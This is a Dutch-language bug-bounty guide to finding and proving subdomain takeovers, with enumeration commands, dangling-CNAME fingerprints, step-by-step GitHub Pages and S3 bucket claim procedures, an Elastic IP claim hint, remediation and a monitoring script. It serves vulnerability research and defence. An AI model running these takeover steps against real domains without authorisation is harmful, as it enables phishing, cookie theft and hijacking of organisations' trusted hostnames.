Subdomeinovername: stapsgewijze gids voor detectie en proof of concept

Subdomeinovernames behoren tot de meest betrouwbaar reproduceerbare high-severity kwetsbaarheden in bug bounty-programma's. Wanneer een CNAME-record verwijst naar een niet-geclaimde dienst, kan elke aanvaller die dienst registreren en kwaadaardige content serveren onder uw vertrouwde domein — waarbij cookies worden gestolen, phishing wordt uitgevoerd en CORS-beperkingen worden omzeild.

Subdomeinovername begrijpen

Waarom het high severity is

• Cookiediefstal — Cookies met scope .company.com worden verzonden naar de door de aanvaller beheerde content
• CORS-bypass — API's die *.company.com vertrouwen, zullen ook het subdomein van de aanvaller vertrouwen
• Phishing — Legitiem bedrijfsdomein met content van de aanvaller = phishing met hoog vertrouwen
• CSP-bypass — Als company.com zijn eigen subdomeinen whitelist in CSP
• OAuth-redirect — Als het subdomein een geregistreerde redirect_uri is
• E-mailbezorging — Als het subdomein wordt gebruikt voor het verzenden van e-mail (SPF/DMARC)

Fase 1: asset-ontdekking

Subdomeinenumeratie

# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt

# Active brute force
amass enum -active -d target.com -o active_subs.txt

# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
  jq -r '.[].name_value' | sort -u | tee ct_subs.txt

# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
  sort -u > all_subs.txt

DNS-resolutiecontrole

# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt

# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt

# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io

Fase 2: dangling CNAME's identificeren

Handmatige verificatie

# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net

# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
  https://company.azurewebsites.net 2>&1 | head -20

# Look for "takeover fingerprints":
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"

Geautomatiseerde detectie met Nuclei

# Nuclei has built-in subdomain takeover templates
nuclei -l all_subs.txt -t takeovers/ -silent

# Or use subjack
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
  -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
  -o takeover_results.txt

De Can-I-Take-Over-XYZ-referentie

De repository can-i-take-over-xyz onderhoudt fingerprints voor 500+ diensten. Belangrijke diensten om te controleren:

Fase 3: proof of concept (veilig)

GitHub Pages-overname-PoC

# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io

# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"

# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target

# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME

# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF

AWS S3-bucket-overname-PoC

# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com

# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnerable!

# Extract region from response headers or try:
# us-east-1 is default if no region header

# Create PoC bucket (SAME NAME as CNAME target)
aws s3 mb s3://target-legacy-assets --region us-east-1

# Enable static hosting
aws s3 website s3://target-legacy-assets \
  --index-document index.html

# Upload responsible PoC
echo "<h1>Subdomain Takeover PoC - Security Research</h1>" | \
  aws s3 cp - s3://target-legacy-assets/index.html \
  --content-type text/html --acl public-read

De impact documenteren

# Demonstrate cookie access (ONLY with test account YOU control)
# Create a test account, set cookies, visit your PoC page
# Screenshot showing document.cookie contents
# This proves cookie theft scope

# Document with screenshots:
# 1. DNS lookup showing dangling CNAME
# 2. Fingerprint response (NoSuchBucket, etc.)
# 3. Your PoC page hosted at the subdomain
# 4. Browser showing the legitimate domain + your content
# 5. (Optional) Test cookie access from own test account

Fase 4: permanente oplossingen

Onmiddellijke remediatie

1. Verwijder de dangling CNAME — Verwijder het DNS-record dat verwijst naar de niet-geclaimde dienst
2. Of claim de dienst opnieuw — Registreer de doelhostnaam opnieuw bij de dienstprovider
3. Controleer alle andere subdomeinen op vergelijkbare dangling records

Langetermijnpreventie

# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status

#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
  cname=$(dig +short CNAME "$subdomain" | head -1)
  if [ -n "$cname" ]; then
    # Resolve the CNAME target
    ip=$(dig +short "$cname" | tail -1)
    if [ -z "$ip" ]; then
      echo "DANGLING CNAME: $subdomain -> $cname"
      # Send alert
    fi
  fi
done < subdomains.txt

A-records en NS-overnames

A-record-overnames (Elastic IP's)

# Check if A record points to a cloud IP that's unallocated
dig +short api-legacy.target.com
# Returns: 52.xxx.xxx.xxx

# Check if the IP belongs to AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
  python3 -c "import json,sys; \
  [print(p['prefix'], p['region'], p['service']) \
  for p in json.load(sys.stdin)['prefixes'] \
  if '52.xxx.xxx' in p.get('ip_prefix','')]"

# If AWS IP, try to claim it by spinning up EC2 with that IP
# (Only do with explicit permission)

NS-overname (meest kritiek)

Veelgestelde vragen

Is een subdomeinovername altijd een kritieke kwetsbaarheid?

De ernst hangt af van de functie en het vertrouwensniveau van het subdomein. Een marketingsubdomein zonder cookies binnen scope kan gemiddeld zijn. Een subdomein dat is vermeld als OAuth-redirect-URI, wordt vertrouwd door CORS-beleid, of cookies ontvangt met scope voor het rootdomein, is kritiek. Beoordeel altijd de daadwerkelijke aanvalspaden die beschikbaar zijn voor een aanvaller die het subdomein beheert.

Mag ik het subdomein overnemen tijdens onderzoek zonder toestemming?

Dit hangt volledig af van de regels van uw bug bounty-programma. Veel programma's staan PoC-overnames toe met een pagina voor verantwoorde openbaarmaking. Sommige verbieden het expliciet. Bij twijfel levert u het DNS-bewijs (dangling CNAME + fingerprint-respons) zonder over te nemen. Voeg een screenshot toe van wat u zou kunnen doen als u de dienst zou registreren.

Hoeveel tijd hebben programma's om te remediëren?

Subdomeinovernames moeten als kritiek worden behandeld — de remediatie is eenvoudig (het DNS-record verwijderen) en het risico van daadwerkelijke uitbuiting door aanvallers is hoog. De meeste programma's verwachten remediatie op dezelfde dag of de volgende dag voor actieve subdomeinovernames.